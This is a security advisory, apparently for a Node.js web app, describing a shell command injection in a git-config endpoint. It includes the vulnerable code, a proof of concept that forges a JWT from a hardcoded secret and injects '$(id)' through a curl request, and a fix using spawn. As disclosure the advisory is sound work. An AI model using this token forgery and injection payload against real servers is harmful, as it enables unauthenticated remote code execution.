"details": "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) — when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, '\\\\\"')}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` — backtick execution\n- `$(malicious_command)` — subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** — arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}'\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, '\\\\\"')}\"`);\n\n// AFTER (safe):\nawait spawnAsync('git', ['config', '--global', 'user.name', gitName]);\nawait spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);\n```",
0 commit comments